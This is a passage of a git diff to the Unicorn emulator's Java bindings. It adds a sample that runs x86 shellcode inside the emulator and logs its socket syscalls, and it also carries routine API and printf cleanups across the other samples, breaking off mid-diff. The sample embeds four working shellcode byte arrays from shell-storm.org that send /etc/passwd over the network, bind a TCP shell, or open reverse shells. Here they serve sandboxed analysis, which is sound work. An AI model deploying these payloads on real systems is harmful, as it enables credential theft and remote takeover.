toInt(uc.mem_read(args, SIZE_REG)); + long ubuf = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + long size = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); + long flags = toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG)); + + String msg = String.format("fd(%d) is gonna receive data with size=%d flags=%d", fd, size, flags); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } + else if (call == 13) { // sys_shutdown + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long how = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + + String msg = String.format("fd(%d) is shutted down because of %d", fd, how); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } + } + } + } + + public static final Hashtable SOCKET_TYPES; + public static final Hashtable ADDR_FAMILY; + static { + SOCKET_TYPES = new Hashtable(); + ADDR_FAMILY = new Hashtable(); + SOCKET_TYPES.put(1L, "SOCK_STREAM"); + SOCKET_TYPES.put(2L, "SOCK_DGRAM"); + SOCKET_TYPES.put(3L, "SOCK_RAW"); + SOCKET_TYPES.put(4L, "SOCK_RDM"); + SOCKET_TYPES.put(5L, "SOCK_SEQPACKET"); + SOCKET_TYPES.put(10L, "SOCK_PACKET"); + + ADDR_FAMILY.put(0L, "AF_UNSPEC"); + ADDR_FAMILY.put(1L, "AF_UNIX"); + ADDR_FAMILY.put(2L, "AF_INET"); + ADDR_FAMILY.put(3L, "AF_AX25"); + ADDR_FAMILY.put(4L, "AF_IPX"); + ADDR_FAMILY.put(5L, "AF_APPLETALK"); + ADDR_FAMILY.put(6L, "AF_NETROM"); + ADDR_FAMILY.put(7L, "AF_BRIDGE"); + ADDR_FAMILY.put(8L, "AF_AAL5"); + ADDR_FAMILY.put(9L, "AF_X25"); + ADDR_FAMILY.put(10L, "AF_INET6"); + ADDR_FAMILY.put(12L, "AF_MAX"); + } + +// http://shell-storm.org/shellcode/files/shellcode-861.php + public static final byte[] X86_SEND_ETCPASSWD = {106,102,88,49,-37,67,49,-46,82,106,1,106,2,-119,-31,-51,-128,-119,-58,106,102,88,67,104,127,1,1,1,102,104,48,57,102,83,-119,-31,106,16,81,86,-119,-31,67,-51,-128,-119,-58,106,1,89,-80,63,-51,-128,-21,39,106,5,88,91,49,-55,-51,-128,-119,-61,-80,3,-119,-25,-119,-7,49,-46,-74,-1,-78,-1,-51,-128,-119,-62,106,4,88,-77,1,-51,-128,106,1,88,67,-51,-128,-24,-44,-1,-1,-1,47,101,116,99,47,112,97,115,115,119,100}; +// http://shell-storm.org/shellcode/files/shellcode-882.php + public static final byte[] X86_BIND_TCP = {106,102,88,106,1,91,49,-10,86,83,106,2,-119,-31,-51,-128,95,-105,-109,-80,102,86,102,104,5,57,102,83,-119,-31,106,16,81,87,-119,-31,-51,-128,-80,102,-77,4,86,87,-119,-31,-51,-128,-80,102,67,86,86,87,-119,-31,-51,-128,89,89,-79,2,-109,-80,63,-51,-128,73,121,-7,-80,11,104,47,47,115,104,104,47,98,105,110,-119,-29,65,-119,-54,-51,-128}; +// http://shell-storm.org/shellcode/files/shellcode-883.php + public static final byte[] X86_REVERSE_TCP = {106,102,88,106,1,91,49,-46,82,83,106,2,-119,-31,-51,-128,-110,-80,102,104,127,1,1,1,102,104,5,57,67,102,83,-119,-31,106,16,81,82,-119,-31,67,-51,-128,106,2,89,-121,-38,-80,63,-51,-128,73,121,-7,-80,11,65,-119,-54,82,104,47,47,115,104,104,47,98,105,110,-119,-29,-51,-128}; +// http://shell-storm.org/shellcode/files/shellcode-849.php + public static final byte[] X86_REVERSE_TCP_2 = {49,-64,49,-37,49,-55,49,-46,-80,102,-77,1,81,106,6,106,1,106,2,-119,-31,-51,-128,-119,-58,-80,102,49,-37,-77,2,104,-64,-88,1,10,102,104,122,105,102,83,-2,-61,-119,-31,106,16,81,86,-119,-31,-51,-128,49,-55,-79,3,-2,-55,-80,63,-51,-128,117,-8,49,-64,82,104,110,47,115,104,104,47,47,98,105,-119,-29,82,83,-119,-31,82,-119,-30,-80,11,-51,-128}; + + // memory address where emulation starts + public static final int ADDRESS = 0x1000000; + + public static String join(ArrayList l, String sep) { + boolean first = true; + StringBuilder res = new StringBuilder(); + for (String s : l) { + if (!first) { + res.append(sep); + } + res.append(s); + first = false; + } + return res.toString(); + } + + private static class LogChain { + public Hashtable> __chains = new Hashtable>(); + public Hashtable> __linking_fds = new Hashtable>(); + + public void clean() { + __chains.clear(); + __linking_fds.clear(); + } + + public void create_chain(long id) { + if (!__chains.containsKey(id)) { + __chains.put(id, new ArrayList()); + } + else { + System.out.printf("LogChain: id %d existed\n", id); + } + } + + public void add_log(long id, String msg) { + long fd = get_original_fd(id); + + if (fd != -1) { + __chains.get(fd).add(msg); + } + else { + System.out.printf("LogChain: id %d doesn't exist\n", id); + } + } + + public void link_fd(long from_fd, long to_fd) { + if (!__linking_fds.containsKey(to_fd)) { + __linking_fds.put(to_fd, new ArrayList()); + } + + __linking_fds.get(to_fd).add(from_fd); + } + + public long get_original_fd(long fd) { + if (__chains.containsKey(fd)) { + return fd; + } + + for (Long orig_fd : __linking_fds.keySet()) { + if (__linking_fds.get(orig_fd).contains(fd)) + return orig_fd; + } + return -1; + } + + public void print_report() { + System.out.printf("\n----------------"); + System.out.printf("\n| START REPORT |"); + System.out.printf("\n----------------\n\n"); + for (Long fd : __chains.keySet()) { + System.out.printf("---- START FD(%d) ----\n", fd); + System.out.println(join(__chains.get(fd), "\n")); + System.out.printf("---- END FD(%d) ----\n", fd); + } + System.out.printf("\n--------------"); + System.out.printf("\n| END REPORT |"); + System.out.printf("\n--------------\n\n"); + } + } + // end supported classes + + // utilities + static String read_string(Unicorn uc, long addr) { + StringBuilder ret = new StringBuilder(); + char c; + do { + c = (char)(uc.mem_read(addr++, 1)[0] & 0xff); + if (c != 0) { + ret.append(c); + } + } while (c != 0); + + return ret.toString(); + } + + static String parse_sock_address(byte[] sock_addr) { + int sin_family = ((sock_addr[0] & 0xff) + (sock_addr[1] << 8)) & 0xffff; + + if (sin_family == 2) { // AF_INET + int sin_port = ((sock_addr[3] & 0xff) + (sock_addr[2] << 8)) & 0xffff; + return String.format("%d.%d.%d.%d:%d", sock_addr[4] & 0xff, sock_addr[5] & 0xff, sock_addr[6] & 0xff, sock_addr[7] & 0xff, sin_port); + } + else if (sin_family == 6) // AF_INET6 + return ""; + return null; + } + + static void print_sockcall(String msg) { + System.out.printf(">>> SOCKCALL %s\n", msg); + } + // end utilities + + static void test_i386(byte[] code) { + fd_chains.clean(); + System.out.printf("Emulate i386 code\n"); + try { + // Initialize emulator in X86-32bit mode + Unicorn mu = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + + // map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE); + + // write machine code to be emulated to memory + mu.mem_write(ADDRESS, code); + + // initialize stack + mu.reg_write(Unicorn.UC_X86_REG_ESP, toBytes(ADDRESS + 0x200000)); + + // handle interrupt ourself + mu.hook_add(new MyInterruptHook(), null); + + // emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + code.length, 0, 0); + + // now print out some registers + System.out.printf(">>> Emulation done\n"); + + } catch (UnicornException uex) { + System.out.printf("ERROR: %s\n", uex.getMessage()); + } + + fd_chains.print_report(); + } + + public static void main(String args[]) { + test_i386(X86_SEND_ETCPASSWD); + test_i386(X86_BIND_TCP); + test_i386(X86_REVERSE_TCP); + test_i386(X86_REVERSE_TCP_2); + } + +} diff --git a/bindings/java/samples/Sample_arm.java b/bindings/java/samples/Sample_arm.java index 8d6ddebe..ca3a8163 100644 --- a/bindings/java/samples/Sample_arm.java +++ b/bindings/java/samples/Sample_arm.java @@ -51,7 +51,7 @@ public class Sample_arm { Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_ARM); // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024); + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE); // write machine code to be emulated to memory u.mem_write(ADDRESS, ARM_CODE); @@ -93,7 +93,7 @@ public class Sample_arm { Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_THUMB); // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024); + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE); // write machine code to be emulated to memory u.mem_write(ADDRESS, THUMB_CODE); diff --git a/bindings/java/samples/Sample_arm64.java b/bindings/java/samples/Sample_arm64.java index d406d176..12464eaa 100644 --- a/bindings/java/samples/Sample_arm64.java +++ b/bindings/java/samples/Sample_arm64.java @@ -79,7 +79,7 @@ public class Sample_arm64 { Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_ARM); // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024); + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE); // write machine code to be emulated to memory u.mem_write(ADDRESS, ARM_CODE); diff --git a/bindings/java/samples/Sample_m68k.java b/bindings/java/samples/Sample_m68k.java index 1988c500..129cad2e 100644 --- a/bindings/java/samples/Sample_m68k.java +++ b/bindings/java/samples/Sample_m68k.java @@ -95,7 +95,7 @@ public class Sample_m68k { Unicorn u = new Unicorn(Unicorn.UC_ARCH_M68K, Unicorn.UC_MODE_BIG_ENDIAN); // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024); + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE); // write machine code to be emulated to memory u.mem_write(ADDRESS, M68K_CODE); diff --git a/bindings/java/samples/Sample_mips.java b/bindings/java/samples/Sample_mips.java index 60c85fab..14ac5d14 100644 --- a/bindings/java/samples/Sample_mips.java +++ b/bindings/java/samples/Sample_mips.java @@ -78,7 +78,7 @@ public class Sample_mips { Unicorn u = new Unicorn(Unicorn.UC_ARCH_MIPS, Unicorn.UC_MODE_MIPS32 + Unicorn.UC_MODE_BIG_ENDIAN); // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024); + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE); // write machine code to be emulated to memory u.mem_write(ADDRESS, MIPS_CODE_EB); @@ -116,7 +116,7 @@ public class Sample_mips { Unicorn u = new Unicorn(Unicorn.UC_ARCH_MIPS, Unicorn.UC_MODE_MIPS32); // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024); + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE); // write machine code to be emulated to memory u.mem_write(ADDRESS, MIPS_CODE_EL); diff --git a/bindings/java/samples/Sample_sparc.java b/bindings/java/samples/Sample_sparc.java index 0b109f86..e30daf60 100644 --- a/bindings/java/samples/Sample_sparc.java +++ b/bindings/java/samples/Sample_sparc.java @@ -79,7 +79,7 @@ public class Sample_sparc { Unicorn u = new Unicorn(Unicorn.UC_ARCH_SPARC, Unicorn.UC_MODE_BIG_ENDIAN); // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024); + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE); // write machine code to be emulated to memory u.mem_write(ADDRESS, SPARC_CODE); diff --git a/bindings/java/samples/Sample_x86.java b/bindings/java/samples/Sample_x86.java index e24694ae..f92e1392 100644 --- a/bindings/java/samples/Sample_x86.java +++ b/bindings/java/samples/Sample_x86.java @@ -66,17 +66,17 @@ public class Sample_x86 { private static class MyBlockHook implements BlockHook { public void hook(Unicorn u, long address, int size, Object user_data) { - System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size)); + System.out.printf(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size); } } // callback for tracing instruction private static class MyCodeHook implements CodeHook { public void hook(Unicorn u, long address, int size, Object user_data) { - System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size)); + System.out.printf(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size); byte eflags[] = u.reg_read(Unicorn.UC_X86_REG_EFLAGS, 4); - System.out.print(String.format(">>> --- EFLAGS is 0x%x\n", toInt(eflags))); + System.out.printf(">>> --- EFLAGS is 0x%x\n", toInt(eflags)); // Uncomment below code to stop the emulation using uc_emu_stop() // if (address == 0x1000009) @@ -88,10 +88,10 @@ public class Sample_x86 { public boolean hook(Unicorn u, int type, long address, int size, long value, Object user) { switch(type) { case Unicorn.UC_MEM_WRITE: - System.out.print(String.format(">>> Missing memory is being WRITE at 0x%x, data size = %d, data value = 0x%x\n", - address, size, value)); + System.out.printf(">>> Missing memory is being WRITE at 0x%x, data size = %d, data value = 0x%x\n", + address, size, value); // map this memory in with 2MB in size - u.mem_map(0xaaaa0000, 2 * 1024*1024); + u.mem_map(0xaaaa0000, 2 * 1024*1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE); // return true to indicate we want to continue return true; } @@ -103,8 +103,8 @@ public class Sample_x86 { private static class MyCode64Hook implements CodeHook { public void hook(Unicorn u, long address, int size, Object user_data) { byte[] r_rip = u.reg_read(Unicorn.UC_X86_REG_RIP, 8); - System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size)); - System.out.print(String.format(">>> RIP is 0x%x\n", toInt(r_rip))); + System.out.printf(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size); + System.out.printf(">>> RIP is 0x%x\n", toInt(r_rip)); // Uncomment below code to stop the emulation using uc_emu_stop() // if (address == 0x1000009) @@ -115,14 +115,14 @@ public class Sample_x86 { private static class MyRead64Hook implements ReadHook { public void hook(Unicorn u, long address, int size, Object user) { - System.out.print(String.format(">>> Memory is being READ at 0x%x, data size = %d\n", address, size)); + System.out.printf(">>> Memory is being READ at 0x%x, data size = %d\n", address, size); } } private static class MyWrite64Hook implements WriteHook { public void hook(Unicorn u, long address, int size, long value, Object user) { - System.out.print(String.format(">>> Memory is being WRITE at 0x%x, data size = %d, data value = 0x%x\n", - address, size, value)); + System.out.printf(">>> Memory is being WRITE at 0x%x, data size = %d, data value = 0x%x\n", + address, size, value); } } @@ -133,7 +133,7 @@ public class Sample_x86 { { byte[] r_eip = u.reg_read(Unicorn.UC_X86_REG_EIP, 4); - System.out.print(String.format("--- reading from port 0x%x, size: %d, address: 0x%x\n", port, size, toInt(r_eip))); + System.out.printf("--- reading from port 0x%x, size: %d, address: 0x%x\n", port, size, toInt(r_eip)); switch(size) { case 1: @@ -155,7 +155,7 @@ public class Sample_x86 { public void hook(Unicorn u, int port, int size, int value, Object user) { byte[] eip = u.reg_read(Unicorn.UC_X86_REG_EIP, 4); byte[] tmp = null; - System.out.print(String.format("--- writing to port 0x%x, size: %d, value: 0x%x, address: 0x%x\n", port, size, value, toInt(eip))); + System.out.printf("--- writing to port 0x%x, size: %d, value: 0x%x, address: 0x%x\n", port, size, value, toInt(eip)); // confirm that value is indeed the value of AL/AX/EAX switch(size) { @@ -172,7 +172,7 @@ public class Sample_x86 { break; } - System.out.print(String.format("--- register value = 0x%x\n", toInt(tmp))); + System.out.printf("--- register value = 0x%x\n", toInt(tmp)); } } @@ -193,7 +193,7 @@ public class Sample_x86 { } // map 2MB memory for this emulation - uc.mem_map(ADDRESS, 2 * 1024 * 1024); + uc.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE); // write machine code to be emulated to memory try { @@ -217,8 +217,8 @@ public class Sample_x86 { try { uc.emu_start(ADDRESS, ADDRESS + X86_CODE32.length, 0, 0); } catch (UnicornException uex) { - System.out.print(String.format("Failed on uc_emu_start() with error : %s\n", - uex.getMessage())); + System.out.printf("Failed on uc_emu_start() with error : %s\n", + uex.getMessage()); } // now print out some registers @@ -226,15 +226,15 @@ public class Sample_x86 { r_ecx = uc.reg_read(Unicorn.UC_X86_REG_ECX, 4); r_edx = uc.reg_read(Unicorn.UC_X86_REG_EDX, 4); - System.out.print(String.format(">>> ECX = 0x%x\n", toInt(r_ecx))); - System.out.print(String.format(">>> EDX = 0x%x\n", toInt(r_edx))); + System.out.printf(">>> ECX = 0x%x\n", toInt(r_ecx)); + System.out.printf(">>> EDX = 0x%x\n", toInt(r_edx)); // read from memory try { byte tmp[] = uc.mem_read(ADDRESS, 4); - System.out.print(String.format(">>> Read 4 bytes from [0x%x] = 0x%x\n", ADDRESS, toInt(tmp))); + System.out.printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", ADDRESS, toInt(tmp)); } catch (UnicornException ex) { - System.out.print(String.format(">>> Failed to read 4 bytes from [0x%x]\n", ADDRESS)); + System.out.printf(">>> Failed to read 4 bytes from [0x%x]\n", ADDRESS); } uc.close(); } @@ -251,7 +251,7 @@ public class Sample_x86 { Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024); + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE); // write machine code to be emulated to memory u.mem_write(ADDRESS, X86_CODE32_INOUT); @@ -279,8 +279,8 @@ public class Sample_x86 { r_eax = u.reg_read(Unicorn.UC_X86_REG_EAX, 4); r_ecx = u.reg_read(Unicorn.UC_X86_REG_ECX, 4); - System.out.print(String.format(">>> EAX = 0x%x\n", toInt(r_eax))); - System.out.print(String.format(">>> ECX = 0x%x\n", toInt(r_ecx))); + System.out.printf(">>> EAX = 0x%x\n", toInt(r_eax)); + System.out.printf(">>> ECX = 0x%x\n", toInt(r_ecx)); u.close(); } @@ -294,7 +294,7 @@ public class Sample_x86 { Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024); + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE); // write machine code to be emulated to memory u.mem_write(ADDRESS, X86_CODE32_JUMP); @@ -326,7 +326,7 @@ public class Sample_x86 { Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024); + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE); // write machine code to be emulated to memory u.mem_write(ADDRESS, X86_CODE32_LOOP); @@ -344,8 +344,8 @@ public class Sample_x86 { r_ecx = u.reg_read(Unicorn.UC_X86_REG_ECX, 4); r_edx = u.reg_read(Unicorn.UC_X86_REG_EDX, 4); - System.out.print(String.format(">>> ECX = 0x%x\n", toInt(r_ecx))); - System.out.print(String.format(">>> EDX = 0x%x\n", toInt(r_edx))); + System.out.printf(">>> ECX = 0x%x\n", toInt(r_ecx)); + System.out.printf(">>> EDX = 0x%x\n", toInt(r_edx)); u.close(); } @@ -363,7 +363,7 @@ public class Sample_x86 { Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024); + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE); // write machine code to be emulated to memory u.mem_write(ADDRESS, X86_CODE32_MEM_READ); @@ -379,15 +379,20 @@ public class Sample_x86 { u.hook_add(new MyCodeHook(), 1, 0, null); // emulate machine code in infinite time - u.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_READ.length, 0, 0); + try { + u.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_READ.length, 0, 0); + } catch (UnicornException uex) { + int err = u.errno(); + System.out.printf("Failed on u.emu_start() with error returned: %s\n", uex.getMessage()); + } // now print out some registers System.out.print(">>> Emulation done. Below is the CPU context\n"); r_ecx = u.reg_read(Unicorn.UC_X86_REG_ECX, 4); r_edx = u.reg_read(Unicorn.UC_X86_REG_EDX, 4); - System.out.print(String.format(">>> ECX = 0x%x\n", toInt(r_ecx))); - System.out.print(String.format(">>> EDX = 0x%x\n", toInt(r_edx))); + System.out.printf(">>> ECX = 0x%x\n", toInt(r_ecx)); + System.out.printf(">>> EDX = 0x%x\n", toInt(r_edx)); u.close(); } @@ -405,7 +410,7 @@ public class Sample_x86 { Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024); + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE); // write machine code to be emulated to memory u.mem_write(ADDRESS, X86_CODE32_MEM_WRITE); @@ -424,22 +429,30 @@ public class Sample_x86 { u.hook_add(new MyMemInvalidHook(), null); // emulate machine code in infinite time - u.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_WRITE.length, 0, 0); + try { + u.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_WRITE.length, 0, 0); + } catch (UnicornException uex) { + System.out.printf("Failed on uc_emu_start() with error returned: %s\n", uex.getMessage()); + } // now print out some registers System.out.print(">>> Emulation done. Below is the CPU context\n"); r_ecx = u.reg_read(Unicorn.UC_X86_REG_ECX, 4); r_edx = u.reg_read(Unicorn.UC_X86_REG_EDX, 4); - System.out.print(String.format(">>> ECX = 0x%x\n", toInt(r_ecx))); - System.out.print(String.format(">>> EDX = 0x%x\n", toInt(r_edx))); + System.out.printf(">>> ECX = 0x%x\n", toInt(r_ecx)); + System.out.printf(">>> EDX = 0x%x\n", toInt(r_edx)); // read from memory byte tmp[] = u.mem_read(0xaaaaaaaa, 4); - System.out.print(String.format(">>> Read 4 bytes from [0x%x] = 0x%x\n", 0xaaaaaaaa, toInt(tmp))); + System.out.printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", 0xaaaaaaaa, toInt(tmp)); - u.mem_read(0xffffffaa, 4); - System.out.print(String.format(">>> Read 4 bytes from [0x%x] = 0x%x\n", 0xffffffaa, toInt(tmp))); + try { + u.mem_read(0xffffffaa, 4); + System.out.printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", 0xffffffaa, toInt(tmp)); + } catch (UnicornException uex) { + System.out.printf(">>> Failed to read 4 bytes from [0x%x]\n", 0xffffffaa); + } u.close(); } @@ -457,7 +470,7 @@ public class Sample_x86 { Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024); + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE); // write machine code to be emulated to memory u.mem_write(ADDRESS, X86_CODE32_JMP_INVALID); @@ -473,15 +486,19 @@ public class Sample_x86 { u.hook_add(new MyCodeHook(), 1, 0, null); // emulate machine code in infinite time - u.emu_start(ADDRESS, ADDRESS + X86_CODE32_JMP_INVALID.length, 0, 0); + try { + u.emu_start(ADDRESS, ADDRESS + X86_CODE32_JMP_INVALID.length, 0, 0); + } catch (UnicornException uex) { + System.out.printf("Failed on uc_emu_start() with error returned: %s\n", uex.getMessage()); + } // now print out some registers System.out.print(">>> Emulation done. Below is the CPU context\n"); r_ecx = u.reg_read(Unicorn.UC_X86_REG_ECX, 4); r_edx = u.reg_read(Unicorn.UC_X86_REG_EDX, 4); - System.out.print(String.format(">>> ECX = 0x%x\n", toInt(r_ecx))); - System.out.print(String.format(">>> EDX = 0x%x\n", toInt(r_edx))); + System.out.printf(">>> ECX = 0x%x\n", toInt(r_ecx)); + System.out.printf(">>> EDX = 0x%x\n", toInt(r_edx)); u.close(); } @@ -511,7 +528,7 @@ public class Sample_x86 { Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_64); // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024); + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE); // write machine code to be emulated to memory u.mem_write(ADDRESS, X86_CODE64); @@ -568,20 +585,20 @@ public class Sample_x86 { byte[] r_r14 = u.reg_read(Unicorn.UC_X86_REG_R14, 8); byte[] r_r15 = u.reg_read(Unicorn.UC_X86_REG_R15, 8); - System.out.print(String.format(">>> RAX = 0x%x\n", toInt(r_rax))); - System.out.print(String.format(">>> RBX = 0x%x\n", toInt(r_rbx))); - System.out.print(String.format(">>> RCX = 0x%x\n", toInt(r_rcx))); - System.out.print(String.format(">>> RDX = 0x%x\n", toInt(r_rdx))); - System.out.print(String.format(">>> RSI = 0x%x\n", toInt(r_rsi))); - System.out.print(String.format(">>> RDI = 0x%x\n", toInt(r_rdi))); - System.out.print(String.format(">>> R8 = 0x%x\n", toInt(r_r8))); - System.out.print(String.format(">>> R9 = 0x%x\n", toInt(r_r9))); - System.out.print(String.format(">>> R10 = 0x%x\n", toInt(r_r10))); - System.out.print(String.format(">>> R11 = 0x%x\n", toInt(r_r11))); - System.out.print(String.format(">>> R12 = 0x%x\n", toInt(r_r12))); - System.out.print(String.format(">>> R13 = 0x%x\n", toInt(r_r13))); - System.out.print(String.format(">>> R14 = 0x%x\n", toInt(r_r14))); - System.out.print(String.format(">>> R15 = 0x%x\n", toInt(r_r15))); + System.out.printf(">>> RAX = 0x%x\n", toInt(r_rax)); + System.out.printf(">>> RBX = 0x%x\n", toInt(r_rbx)); + System.out.printf(">>> RCX = 0x%x\n", toInt(r_rcx)); + System.out.printf(">>> RDX = 0x%x\n", toInt(r_rdx)); + System.out.printf(">>> RSI = 0x%x\n", toInt(r_rsi)); + System.out.printf(">>> RDI = 0x%x\n", toInt(r_rdi)); + System.out.printf(">>> R8 = 0x%x\n", toInt(r_r8)); + System.out.printf(">>> R9 = 0x%x\n", toInt(r_r9)); + System.out.printf(">>> R10 = 0x%x\n", toInt(r_r10)); + System.out.printf(">>> R11 = 0x%x\n", toInt(r_r11)); + System.out.printf(">>> R12 = 0x%x\n", toInt(r_r12)); + System.out.printf(">>> R13 = 0x%x\n", toInt(r_r13)); + System.out.printf(">>> R14 = 0x%x\n", toInt(r_r14)); + System.out.printf(">>> R15 = 0x%x\n", toInt(r_r15)); u.close(); } @@ -598,7 +615,7 @@ public class Sample_x86 { Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_16); // map 8KB memory for this emulation - u.mem_map(0, 8 * 1024); + u.mem_map(0, 8 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE); // write machine code to be emulated to memory u.mem_write(0, X86_CODE16); diff --git a/bindings/java/samples/Shellcode.java b/bindings/java/samples/Shellcode.java index 7a15e7a3..9a1c1c81 100644 --- a/bindings/java/samples/Shellcode.java +++ b/bindings/java/samples/Shellcode.java @@ -121,7 +121,7 @@ public class Shellcode { Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024); + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE); // write machine code to be emulated to memory u.mem_write(ADDRESS, X86_CODE32_SELF); diff --git a/bindings/java/unicorn/Arm64Regs.java b/bindings/java/unicorn/Arm64Const.java similarity index 93% rename from bindings/java/unicorn/Arm64Regs.java rename to bindings/java/unicorn/Arm64Const.java index 4d384637..6104a277 100644 --- a/bindings/java/unicorn/Arm64Regs.java +++ b/bindings/java/unicorn/Arm64Const.java @@ -1,27 +1,11 @@ -/* - -Java bindings for the Unicorn Emulator Engine - -Copyright(c) 2015 Chris Eagle - -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License -version 2 as published by the Free Software Foundation. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. - -*/ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT package unicorn; -public interface Arm64Regs { +public interface Arm64Const { + +// ARM64 registers + public static final int UC_ARM64_REG_INVALID = 0; public static final int UC_ARM64_REG_X29 = 1; public static final int UC_ARM64_REG_X30 = 2; @@ -282,10 +266,15 @@ public interface Arm64Regs { public static final int UC_ARM64_REG_V29 = 257; public static final int UC_ARM64_REG_V30 = 258; public static final int UC_ARM64_REG_V31 = 259; + +// pseudo registers public static final int UC_ARM64_REG_PC = 260; public static final int UC_ARM64_REG_ENDING = 261; - public static final int UC_ARM64_REG_IP1 = UC_ARM64_REG_X16; - public static final int UC_ARM64_REG_IP0 = UC_ARM64_REG_X17; - public static final int UC_ARM64_REG_FP = UC_ARM64_REG_X29; - public static final int UC_ARM64_REG_LR = UC_ARM64_REG_X30; + +// alias registers + public static final int UC_ARM64_REG_IP1 = 215; + public static final int UC_ARM64_REG_IP0 = 216; + public static final int UC_ARM64_REG_FP = 1; + public static final int UC_ARM64_REG_LR = 2; + } diff --git a/bindings/java/unicorn/ArmRegs.java b/bindings/java/unicorn/ArmConst.java similarity index 